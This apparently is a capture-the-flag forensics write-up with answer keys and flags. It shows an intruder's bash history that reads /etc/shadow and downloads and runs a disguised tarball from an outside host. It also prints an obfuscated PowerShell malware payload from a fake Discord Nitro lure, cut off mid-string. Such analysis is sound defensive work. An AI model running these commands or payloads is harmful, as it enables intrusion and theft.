[2024-02-16 14:47:28] Received disconnect from 100.86.71.224 port 58713:11: disconnected by user
[2024-02-16 14:47:28] Disconnected from user softdev 100.86.71.224 port 58713
[2024-02-19 04:00:14] Connection from 2.67.182.119 port 60071 on 100.107.36.130 port 2221 rdomain ""
[2024-02-19 04:00:14] Failed publickey for root from 2.67.182.119 port 60071 ssh2: ECDSA SHA256:OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4
[2024-02-19 04:00:14] Accepted password for root from 2.67.182.119 port 60071 ssh2
[2024-02-19 04:00:14] Starting session: shell on pts/2 for root from 2.67.182.119 port 60071 id 0
[2024-02-19 04:38:17] syslogin_perform_logout: logout() returned an error
[2024-02-19 04:38:17] Received disconnect from 2.67.182.119 port 60071:11: disconnected by user
[2024-02-19 04:38:17] Disconnected from user root 2.67.182.119 port 60071
[2024-02-20 11:10:14] Connection from 100.87.190.253 port 63371 on 100.107.36.130 port 2221 rdomain ""
[2024-02-20 11:10:14] Failed publickey for softdev from 100.87.190.253 port 63371 ssh2: ECDSA SHA256:iT7NDYA0Uut9UYbA7Io5WpsUNO3KzfD5ekgQwDIIED0
[2024-02-20 11:10:14] Accepted password for softdev from 100.87.190.253 port 63371 ssh2
[2024-02-20 11:10:14] Starting session: shell on pts/2 for softdev from 100.87.190.253 port 63371 id 0
[2024-02-20 14:58:17] syslogin_perform_logout: logout() returned an error
[2024-02-20 14:58:17] Received disconnect from 100.87.190.253 port 63371:11: disconnected by user
[2024-02-20 14:58:17] Disconnected from user softdev 100.87.190.253 port 63371
[2024-02-21 10:49:47] Connection from 102.11.76.9 port 48875 on 100.107.36.130 port 2221 rdomain ""
[2024-02-21 10:49:49] Failed publickey for softdev from 102.11.76.9 port 48875 ssh2: ECDSA SHA256:WRpo-Gc3sYEB3eNWwvPOtgXzuOUGvFjg6VwmPSxu7A0
[2024-02-21 10:49:50] Accepted password for softdev from 102.11.76.9 port 48875 ssh2
[2024-02-21 10:49:50] Starting session: shell on pts/2 for softdev from 102.11.76.9 port 48875 id 0
[2024-02-21 13:11:14] syslogin_perform_logout: logout() returned an error
[2024-02-21 13:11:14] Received disconnect from 102.11.76.9 port 48875:11: disconnected by user
[2024-02-21 13:11:14] Disconnected from user softdev 102.11.76.9 port 48875
[2024-02-21 18:17:47] Connection from 100.7.98.129 port 47765 on 100.107.36.130 port 2221 rdomain ""
[2024-02-21 18:17:49] Failed publickey for softdev from 100.7.98.129 port 47765 ssh2: ECDSA SHA256:gwOkY9JclDkl0lqWwycTCwWEJyR20ym_jCi2_bZxl6I
[2024-02-21 18:17:50] Accepted password for softdev from 100.7.98.129 port 47765 ssh2
[2024-02-21 18:17:50] Starting session: shell on pts/2 for softdev from 100.7.98.129 port 47765 id 0
[2024-02-21 18:59:59] syslogin_perform_logout: logout() returned an error
[2024-02-21 18:59:59] Received disconnect from 100.7.98.129 port 47765:11: disconnected by user
[2024-02-21 18:59:59] Disconnected from user softdev 100.7.98.129 port 47765
[2024-02-22 12:07:14] Connection from 100.11.239.78 port 49811 on 100.107.36.130 port 2221 rdomain ""
[2024-02-22 12:07:14] Failed publickey for softdev from 100.11.239.78 port 49811 ssh2: ECDSA SHA256:ZifUdJhD8lH9ItWyvFPT_AvBKPqSjp4k1APaC4OubmA
[2024-02-22 12:07:14] Accepted password for softdev from 100.11.239.78 port 49811 ssh2
[2024-02-22 12:07:14] Starting session: shell on pts/2 for softdev from 100.11.239.78 port 49811 id 0
[2024-02-22 18:59:59] syslogin_perform_logout: logout() returned an error
[2024-02-22 18:59:59] Received disconnect from 100.11.239.78 port 49811:11: disconnected by user
[2024-02-22 18:59:59] Disconnected from user softdev 100.11.239.78 port 49811
[2024-02-23 10:49:47] Connection from 102.11.76.9 port 48875 on 100.107.36.130 port 2221 rdomain ""
[2024-02-23 10:49:49] Failed publickey for softdev from 102.11.76.9 port 48875 ssh2: ECDSA SHA256:WRpo-Gc3sYEB3eNWwvPOtgXzuOUGvFjg6VwmPSxu7A0
[2024-02-23 10:49:50] Accepted password for softdev from 102.11.76.9 port 48875 ssh2
[2024-02-23 10:49:50] Starting session: shell on pts/2 for softdev from 102.11.76.9 port 48875 id 0
[2024-02-23 13:11:14] syslogin_perform_logout: logout() returned an error
[2024-02-23 13:11:14] Received disconnect from 102.11.76.9 port 48875:11: disconnected by user
[2024-02-23 13:11:14] Disconnected from user softdev 102.11.76.9 port 48875
[2024-02-23 18:17:47] Connection from 100.7.98.129 port 47765 on 100.107.36.130 port 2221 rdomain ""
[2024-02-23 18:17:49] Failed publickey for softdev from 100.7.98.129 port 47765 ssh2: ECDSA SHA256:gwOkY9JclDkl0lqWwycTCwWEJyR20ym_jCi2_bZxl6I
[2024-02-23 18:17:50] Accepted password for softdev from 100.7.98.129 port 47765 ssh2
[2024-02-23 18:17:50] Starting session: shell on pts/2 for softdev from 100.7.98.129 port 47765 id 0
[2024-02-23 18:59:59] syslogin_perform_logout: logout() returned an error
[2024-02-23 18:59:59] Received disconnect from 100.7.98.129 port 47765:11: disconnected by user
[2024-02-23 18:59:59] Disconnected from user softdev 100.7.98.129 port 47765
[2024-02-24 11:15:08] Connection from 102.11.76.9 port 48875 on 100.107.36.130 port 2221 rdomain ""
[2024-02-24 11:15:08] Failed publickey for softdev from 102.11.76.9 port 48875 ssh2: ECDSA SHA256:WRpo-Gc3sYEB3eNWwvPOtgXzuOUGvFjg6VwmPSxu7A0
[2024-02-24 11:15:08] Accepted password for softdev from 102.11.76.9 port 48875 ssh2
[2024-02-24 11:15:08] Starting session: shell on pts/2 for softdev from 102.11.76.9 port 48875 id 0
[2024-02-24 13:27:02] syslogin_perform_logout: logout() returned an error
[2024-02-24 13:27:02] Received disconnect from 102.11.76.9 port 48875:11: disconnected by user
[2024-02-24 13:27:02] Disconnected from user softdev 102.11.76.9 port 48875
[2024-02-24 14:07:18] Connection from 100.7.98.129 port 47765 on 100.107.36.130 port 2221 rdomain ""
[2024-02-24 14:07:18] Failed publickey for softdev from 100.7.98.129 port 47765 ssh2: ECDSA SHA256:gwOkY9JclDkl0lqWwycTCwWEJyR20ym_jCi2_bZxl6I
[2024-02-24 14:07:18] Accepted password for softdev from 100.7.98.129 port 47765 ssh2
[2024-02-24 14:07:18] Starting session: shell on pts/2 for softdev from 100.7.98.129 port 47765 id 0
[2024-02-24 15:11:02] syslogin_perform_logout: logout() returned an error
[2024-02-24 15:11:02] Received disconnect from 100.7.98.129 port 47765:11: disconnected by user
[2024-02-24 15:11:02] Disconnected from user softdev 100.7.98.129 port 47765
[2024-02-26 09:57:01] Connection from 102.11.76.9 port 48875 on 100.107.36.130 port 2221 rdomain ""
[2024-02-26 09:57:01] Failed publickey for softdev from 102.11.76.9 port 48875 ssh2: ECDSA SHA256:WRpo-Gc3sYEB3eNWwvPOtgXzuOUGvFjg6VwmPSxu7A0
[2024-02-26 09:57:01] Accepted password for softdev from 102.11.76.9 port 48875 ssh2
[2024-02-26 09:57:01] Starting session: shell on pts/2 for softdev from 102.11.76.9 port 48875 id 0
[2024-02-26 10:31:19] syslogin_perform_logout: logout() returned an error
[2024-02-26 10:31:19] Received disconnect from 102.11.76.9 port 48875:11: disconnected by user
[2024-02-26 10:31:19] Disconnected from user softdev 102.11.76.9 port 48875
[2024-02-26 15:07:18] Connection from 100.7.98.129 port 47765 on 100.107.36.130 port 2221 rdomain ""
[2024-02-26 15:07:18] Failed publickey for softdev from 100.7.98.129 port 47765 ssh2: ECDSA SHA256:gwOkY9JclDkl0lqWwycTCwWEJyR20ym_jCi2_bZxl6I
[2024-02-26 15:07:18] Accepted password for softdev from 100.7.98.129 port 47765 ssh2
[2024-02-26 15:07:18] Starting session: shell on pts/2 for softdev from 100.7.98.129 port 47765 id 0
[2024-02-26 18:59:59] syslogin_perform_logout: logout() returned an error
[2024-02-26 18:59:59] Received disconnect from 100.7.98.129 port 47765:11: disconnected by user
[2024-02-26 18:59:59] Disconnected from user softdev 100.7.98.129 port 47765
[2024-02-27 13:41:23] Connection from 100.85.206.20 port 60630 on 100.107.36.130 port 2221 rdomain ""
[2024-02-27 13:41:24] Failed publickey for softdev from 100.85.206.20 port 60630 ssh2: ECDSA SHA256:7xA/BapXld3P6vebjXLGCTevrJID/MEFDiYwUVFYQMM
[2024-02-27 13:41:33] Failed password for softdev from 100.85.206.20 port 60630 ssh2
[2024-02-27 13:41:39] Failed password for softdev from 100.85.206.20 port 60630 ssh2
[2024-02-27 13:41:43] Failed password for softdev from 100.85.206.20 port 60630 ssh2
[2024-02-27 13:41:43] Connection closed by authenticating user softdev 100.85.206.20 port 60630 [preauth]
[2024-02-27 13:41:48] Connection from 100.85.206.20 port 54976 on 100.107.36.130 port 2221 rdomain ""
[2024-02-27 13:41:48] Failed publickey for softdev from 100.85.206.20 port 54976 ssh2: ECDSA SHA256:7xA/BapXld3P6vebjXLGCTevrJID/MEFDiYwUVFYQMM
[2024-02-27 13:41:51] Accepted password for softdev from 100.85.206.20 port 54976 ssh2
[2024-02-27 13:41:51] Starting session: shell on pts/2 for softdev from 100.85.206.20 port 54976 id 0
[2024-02-27 18:39:16] syslogin_perform_logout: logout() returned an error
[2024-02-27 18:39:16] Received disconnect from 100.85.206.20 port 54976:11: disconnected by user
[2024-02-27 18:39:16] Disconnected from user softdev 100.85.206.20 port 54976
[2024-02-28 17:19:47] Connection from 100.7.98.129 port 47765 on 100.107.36.130 port 2221 rdomain ""
[2024-02-28 17:19:49] Failed publickey for softdev from 100.7.98.129 port 47765 ssh2: ECDSA SHA256:gwOkY9JclDkl0lqWwycTCwWEJyR20ym_jCi2_bZxl6I
[2024-02-28 17:19:50] Accepted password for softdev from 100.7.98.129 port 47765 ssh2
[2024-02-28 17:19:50] Starting session: shell on pts/2 for softdev from 100.7.98.129 port 47765 id 0
[2024-02-28 18:59:59] syslogin_perform_logout: logout() returned an error
[2024-02-28 18:59:59] Received disconnect from 100.7.98.129 port 47765:11: disconnected by user
[2024-02-28 18:59:59] Disconnected from user softdev 100.7.98.129 port 47765
[2024-02-29 09:57:01] Connection from 102.11.76.9 port 48875 on 100.107.36.130 port 2221 rdomain ""
[2024-02-29 09:57:01] Failed publickey for softdev from 102.11.76.9 port 48875 ssh2: ECDSA SHA256:WRpo-Gc3sYEB3eNWwvPOtgXzuOUGvFjg6VwmPSxu7A0
[2024-02-29 09:57:01] Accepted password for softdev from 102.11.76.9 port 48875 ssh2
[2024-02-29 09:57:01] Starting session: shell on pts/2 for softdev from 102.11.76.9 port 48875 id 0
[2024-02-29 10:31:19] syslogin_perform_logout: logout() returned an error
[2024-02-29 10:31:19] Received disconnect from 102.11.76.9 port 48875:11: disconnected by user
[2024-02-29 10:31:19] Disconnected from user softdev 102.11.76.9 port 48875
[2024-02-29 18:01:28] Connection from 100.7.98.129 port 47765 on 100.107.36.130 port 2221 rdomain ""
[2024-02-29 18:01:29] Failed publickey for softdev from 100.7.98.129 port 47765 ssh2: ECDSA SHA256:gwOkY9JclDkl0lqWwycTCwWEJyR20ym_jCi2_bZxl6I
[2024-02-29 18:01:29] Accepted password for softdev from 100.7.98.129 port 47765 ssh2
[2024-02-29 18:01:29] Starting session: shell on pts/2 for softdev from 100.7.98.129 port 47765 id 0
[2024-02-29 18:59:59] syslogin_perform_logout: logout() returned an error
[2024-02-29 18:59:59] Received disconnect from 100.7.98.129 port 47765:11: disconnected by user
[2024-02-29 18:59:59] Disconnected from user softdev 100.7.98.129 port 47765
[2024-02-13 11:31:01] useradd -mG sudo softdev
[2024-02-13 11:32:12] passwd softdev
[2024-02-13 11:33:13] apt update && apt install wget gpg
[2024-02-13 11:35:01] wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > packages.microsoft.gpg
[2024-02-13 11:36:28] install -D -o root -g root -m 644 packages.microsoft.gpg /etc/apt/keyrings/packages.microsoft.gpg
[2024-02-13 11:37:01] sh -c 'echo "deb [arch=amd64,arm64,armhf signed-by=/etc/apt/keyrings/packages.microsoft.gpg] https://packages.microsoft.com/repos/code stable main" > /etc/apt/sources.list.d/vscode.list'
[2024-02-13 11:37:58] apt update && apt install python3 python-is-python3 code git
[2024-02-13 11:38:10] git clone https://git.korp.htb/cmd_dev1.git
[2024-02-13 11:39:10] chown -R softdev:softdev ../dev_project
[2024-02-13 11:40:01] sudo -u softdev python -m venv cms
[2024-02-13 11:40:58] source ./cms/bin/activate
[2024-02-13 11:42:01] python -m pip install -r requirements.txt
[2024-02-13 11:56:01] python ./server.py
[2024-02-15 10:41:51] ps aux | grep "server.py"
[2024-02-15 18:52:01] nvim server.py
[2024-02-15 18:56:01] source ./cms/bin/activate
[2024-02-15 18:57:01] python ./server.py
[2024-02-16 10:27:11] nvim server.py
[2024-02-16 10:28:29] source ./cms/bin/activate
[2024-02-16 12:38:11] python ./server.py --tests
[2024-02-16 14:40:47] python ./server.py --tests
[2024-02-19 04:00:18] whoami
[2024-02-19 04:00:20] uname -a
[2024-02-19 04:00:40] cat /etc/passwd
[2024-02-19 04:01:01] cat /etc/shadow
[2024-02-19 04:01:15] ps faux
[2024-02-19 04:02:27] wget https://gnu-packages.com/prebuilts/iproute2/latest.tar.gz -O /tmp/latest_iproute.tar.gz
[2024-02-19 04:10:02] tar xvf latest.tar.gz
[2024-02-19 04:12:02] shred -zu latest.tar.gz
[2024-02-19 04:14:02] ./setup
[2024-02-20 11:11:14] nvim server.py
[2024-02-20 11:48:40] source ./cms/bin/activate
[2024-02-20 11:49:29] python ./server.py --tests
[2024-02-20 13:50:14] python ./server.py --tests
[2024-02-20 14:50:04] python ./server.py --tests
[2024-02-21 10:51:27] sudo apt update
[2024-02-21 10:52:58] sudo apt dist-upgrade
[2024-02-21 18:17:59] code .
[2024-02-22 12:09:39] code .
[2024-02-22 12:19:28] source ./cms/bin/activate
[2024-02-22 12:20:10] python ./server.py --verbose 2>1 | tee /tmp/server_logs.log
[2024-02-22 17:20:10] python ./server.py --verbose --tests 2>1 | tee /tmp/server_logs.log
[2024-02-23 10:49:50] source ./cms/bin/activate
[2024-02-23 10:51:19] code .
[2024-02-23 12:50:46] python ./server.py --verbose
[2024-02-23 12:51:19] ps aux | grep "server.py"
[2024-02-23 12:52:01] kill -s SIGUSR1 2561
[2024-02-23 18:18:06] nvim requirements.txt
[2024-02-23 18:19:17] source ./cms/bin/activate
[2024-02-23 18:21:01] python -m pip install -r requirements.txt
[2024-02-24 11:16:08] source ./cms/bin/activate
[2024-02-24 11:17:07] code .
[2024-02-24 13:20:18] pythom ./server.py --tests
[2024-02-24 13:20:25] python ./server.py --tests
[2024-02-24 14:08:18] sudo apt update && sudo apt dist-upgrade
[2024-02-26 10:00:17] nvim requirements.txt
[2024-02-26 10:20:31] source ./cms/bin/activate
[2024-02-26 10:21:20] python -m pip install -r requirements.txt
[2024-02-26 15:07:18] source ./cms/bin/activate
[2024-02-26 15:07:57] code .
[2024-02-26 15:10:57] python ./server.py --verbose --tests 2>1 | tee /tmp/server_logs.log
[2024-02-26 17:27:10] cat /tmp/server_logs.log | grep "CRITICAL"
[2024-02-26 18:30:46] python ./server.py --verbose --tests 2>1 | tee /tmp/server_logs.log
[2024-02-26 18:37:10] cat /tmp/server_logs.log | grep "CRITICAL"
[2024-02-27 13:42:37] source ./cms/bin/activate
[2024-02-27 13:43:09] code .
[2024-02-27 13:59:01] python ./server.py --verbose
[2024-02-27 14:30:29] python ./server.py --verbose
[2024-02-27 15:31:59] python ./server.py --verbose
[2024-02-27 15:58:18] python ./server.py --verbose
[2024-02-27 17:16:39] python ./server.py --verbose
[2024-02-28 17:19:50] code .
[2024-02-28 18:28:01] git add .
[2024-02-28 18:37:09] git commit -m "[WIP] Add Initial Refactor"
[2024-02-28 18:40:11] git push
[2024-02-29 09:58:14] code .
[2024-02-29 10:20:14] source ./cms/bin/activate
[2024-02-29 10:23:14] python ./server.py --headless
[2024-02-29 18:01:50] code . 
[2024-02-29 18:20:11] srouce ./cms/bin/activate
[2024-02-29 18:20:18] source ./cms/bin/activate
[2024-02-29 18:21:19] python ./server.py
[2024-02-29 18:50:20] git add .
[2024-02-29 18:51:45] git commit -m "[WIP] Add daemon mode"
[2024-02-29 18:52:20] git push

Question 1: What is the IP Address and Port of the SSH Server (IP:PORT)

The IP address and port can be seen on basically every login attempt, for example in line 3 of sshd.logs.

Answer: 100.107.36.130:2221

Question 2: What time is the first successful Login

A successful login is indicated by a “Starting session” in sshd.logs, the first of which can be seen on line 12.

Answer: 2024-02-13 11:29:50

Question 3: What is the time of the unusual Login

Any successful login as root is unusual. This happens on line 39 of sshd.logs.

Answer: 2024-02-19 04:00:14

Question 4: What is the Fingerprint of the attacker’s public key

The fingerprint can be seen on line 38 of sshd.logs when the culprit tries to login as root for the first time.

Answer: OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4

Question 5: What is the first command the attacker executed after logging in

The login was at 2024-02-19 04:00:14, and the first command after that timestamp can be seen on line 22 of bash_history.txt.

Answer: whoami

Question 6: What is the final command the attacker executed before logging out

The timestamp of the logout can be seen on line 41 of sshd.logs. The last command before that can be seen on line 30 of bash_history.txt.

Answer: ./setup

Entering all answers correctly revealed the flag.

Flag: HTB{B3sT_0f_luck_1n_th3_Fr4y!!}


[Easy] Pursue The Tracks

Luxx, leader of The Phreaks, immerses himself in the depths of his computer, tirelessly pursuing the secrets of a file he obtained accessing an opposing faction member workstation. With unwavering determination, he scours through data, putting together fragments of information trying to take some advantage on other factions. To get the flag, you need to answer the questions from the docker instance.

For this challenge, an IP address and port were given to answer a quiz, as well as a z.mft file to investigate. After some investigation, I realized that MFT stands for “Master File Table” and the .mft file is important for the NTFS file system as it keeps records of all files in a volume. To investigate such an .mft file, Eric Zimmermann created two programs: MFTECmd and MFTEplorer. I used both to investigate, but started with the Explorer.

In the Explorer, a lot of information about the files on that volume can be seen. But they can’t be copied easily and some details are not accessible. So I used the MFTECmd to export the information.

I then opened the CSV file in Microsoft Excel.

Then I started the quiz. Using both the Explorer and the CSV, the questions were easy to answer.

Question 1: Files are related to two years, which are those? (for example: 1993,1995)

Answer: 2023,2024

Question 2: There are some documents, which is the name of the first file written? (for example: randomname.pdf)

Answer: Final_Annual_Report.xlsx

Question 3: Which file was deleted? (for example: randomname.pdf)

Answer: Marketing_Plan.xlsx

Question 4: How many of them have been set in Hidden mode? (for example: 43)

Answer: 1

Question 5: Which is the filename of the important TXT file that was created? (for example: randomname.txt)

Answer: credentials.txt

Question 6: A file was also copied, which is the new filename? (for example: randomname.pdf)

Answer: Financial_Statement_draft.xlsx

Question 7: Which file was modified after creation? (for example: randomname.pdf)

Answer: Project_Proposal.pdf

Question 8: What is the name of the file located at record number 45? (for example: randomname.pdf)

Answer: Annual_Report.xlsx

Question 9: What is the size of the file located at record number 40? (for example: 1337)

Answer: 57344

Flag: HTB{p4rs1ng_mft_1s_v3ry_1mp0rt4nt_s0m3t1m3s}


[Easy] Fake Boost

In the shadow of The Fray, a new test called “”Fake Boost”” whispers promises of free Discord Nitro perks. It’s a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.

For this challenge, a capture.pcapng file was provided. I naturally opened it with Wireshark.

The first thing I did was to export any potential HTTP objects as well as following some TCP streams. There are two interesting requests:

One request at GET 192.168.116.135:8080/freediscordnitro that downloads a file called discordnitro.ps1.

GET /freediscordnitro HTTP/1.1
Host: 192.168.116.135:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.10.12
Date: Sat, 02 Mar 2024 18:11:55 GMT
Content-Disposition: attachment; filename=discordnitro.ps1
Content-Type: application/octet-stream
Content-Length: 8526
Last-Modified: Sat, 02 Mar 2024 17:29:47 GMT
Cache-Control: no-cache
ETag: "1709400587.6259556-8526-1669141932"
Date: Sat, 02 Mar 2024 18:11:55 GMT
Connection: close

$jozeq3n = "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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1WgACIgoQDhRXYERWZ0BXeyNmblRCIrAiVJ5CZldWYuFWTzVWYkASPgEGdhREbsVnZkASXdtVZ0lnYbBCIgAiCNsTKoR3ZuVGTuMXZ0lnYkACLwACLzVGd5JGJos2YvxmQsFmbpZUby9mZz5WYyRlLy9Gdwlncj5WZkASPgEGdhREZlRHc5J3YuVGJgACIgoQDpgicvRHc5J3YuVUZ0FWZyNkLkV2Zh5WYNNXZhRCI9AicvRHc5J3YuVGJgACIgoQD5V2akACdjVmai9EZldWYuFWTzVWQtUGdhVmcDBSPgQWZnFmbh10clFGJgACIgoQDpQHelRnbpFGbwRCKzVGd5JEdldkL4YEVVpjOddmbpR2bj5WRuQHelRlLtVGdzl3UbBSPgMXZ0lnYkACIgAiCNsHIpQHelRnbpFGbwRCIskXZrRCKn5WayR3UtQHc5J3YuVEIu9Wa0Nmb1ZmCNoQD9pQDkV2Zh5WYNNXZhRCIgACIK0QfgACIgoQD9BCIgACIgACIK0QeltGJg0DI5V2SuQWZnFmbh10clFGJgACIgACIgACIgACIK0wegU2csVGIgACIgACIgoQD9BCIgACIgACIK0QK5V2akgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1Wg0DI5V2SuQWZnFmbh10clFGJgACIgACIgACIgACIK0wegkiIn5WayR3UiAScl1CIl1WYO5SKoUGc5RFdldmL5V2akgCImlGIgACIgACIgoQD7BSK5V2akgCImlGIgACIK0QfgACIgoQD9BCIgACIgACIK0gVJRCI9AiVJ5CZldWYuFWTzVWYkACIgACIgACIgACIgoQD7BSZzxWZgACIgACIgAiCN0HIgACIgACIgoQDpYVSkgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1Wg0DIWlkLkV2Zh5WYNNXZhRCIgACIgACIgACIgAiCNsHIpIyZulmc0NlIgEXZtASZtFmTukCKlBXeURXZn5iVJRCKgYWagACIgACIgAiCNsHIpYVSkgCImlGIgACIK0gN1IDI9ASZ6l2U5V2SuQWZnFmbh10clFGJgACIgoQD4ITMg0DIlpXaTt2YvxmQuQWZnFmbh10clFGJgACIgoQD3M1QLBlO60VZk9WTn5WakRWYQ5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgcmbpRGZhBlLkV2Zh5WYNNXZhRCIgACIK0gCNoQD9JkRPpjOdVGZv1kclhGcpNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFI9ASZk9WTuQWZnFmbh10clFGJ7liICZ0Ti0TZk9WbkgCImlWZzxWZgACIgoQD9J0QFpjOdVGZv1kclhGcpNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFI9ASZk9WTuQWZnFmbh10clFGJ7BSKiI0QFJSPlR2btRCKgYWalNHblBCIgAiCN03UUNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5S